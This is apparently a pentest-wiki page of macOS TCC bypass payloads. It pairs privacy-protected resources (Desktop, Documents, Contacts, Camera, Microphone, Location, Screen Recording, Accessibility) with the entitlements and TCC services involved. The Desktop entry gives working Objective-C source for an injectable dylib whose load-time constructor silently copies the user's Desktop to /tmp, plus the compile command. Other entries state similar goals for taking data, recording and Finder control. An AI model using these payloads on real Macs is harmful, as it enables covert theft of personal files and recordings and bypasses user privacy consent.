macOS TCC Payloads

Desktop

  • Entitlement: None

  • TCC: kTCCServiceSystemPolicyDesktopFolder

Copy $HOME/Desktop to /tmp/desktop.

#include <syslog.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#import <Foundation/Foundation.h>

// gcc -dynamiclib -framework Foundation -o /tmp/inject.dylib /tmp/inject.m

__attribute__((constructor))
void myconstructor(int argc, const char **argv)
{  
    freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt

    NSFileManager *fileManager = [NSFileManager defaultManager];
    NSError *error = nil;    

    // Get the path to the user's Pictures folder
    NSString *picturesPath = [NSHomeDirectory() stringByAppendingPathComponent:@"Desktop"];
    NSString *tmpPhotosPath = @"/tmp/desktop";

    // Copy the contents recursively
    if (![fileManager copyItemAtPath:picturesPath toPath:tmpPhotosPath error:&error]) {
        NSLog(@"Error copying items: %@", error);
    }

    NSLog(@"Copy completed successfully.", error);

    fclose(stderr); // Close the file stream
}

Documents

  • Entitlement: None

  • TCC: kTCCServiceSystemPolicyDocumentsFolder

Copy $HOME/Documents to /tmp/documents.

Downloads

  • Entitlement: None

  • TCC: kTCCServiceSystemPolicyDownloadsFolder

Copy $HOME/Downloads to /tmp/downloads.

Photos Library

  • Entitlement: com.apple.security.personal-information.photos-library

  • TCC: kTCCServicePhotos

Copy $HOME/Pictures/Photos Library.photoslibrary to /tmp/photos.

Contacts

  • Entitlement: com.apple.security.personal-information.addressbook

  • TCC: kTCCServiceAddressBook

Copy $HOME/Library/Application Support/AddressBook to /tmp/contacts.

Calendar

  • Entitlement: com.apple.security.personal-information.calendars

  • TCC: kTCCServiceCalendar

Copy $HOME/Library/Calendars to /tmp/calendars.

Camera

  • Entitlement: com.apple.security.device.camera

  • TCC: kTCCServiceCamera

Record a 3s video and save it in /tmp/recording.mov

Microphone

  • Entitlement: com.apple.security.device.audio-input

  • TCC: kTCCServiceMicrophone

Record 5s of audio an store it in /tmp/recording.m4a

Location

  • Entitlement: com.apple.security.personal-information.location

  • TCC: Granted in /var/db/locationd/clients.plist

Write the location in /tmp/logs.txt

Screen Recording

  • Entitlement: None

  • TCC: kTCCServiceScreenCapture

Record the main screen for 5s in /tmp/screen.mov

Accessibility

  • Entitlement: None

  • TCC: kTCCServiceAccessibility

Use the TCC privilege to accept the control of Finder pressing enter and bypass TCC that way

Last updated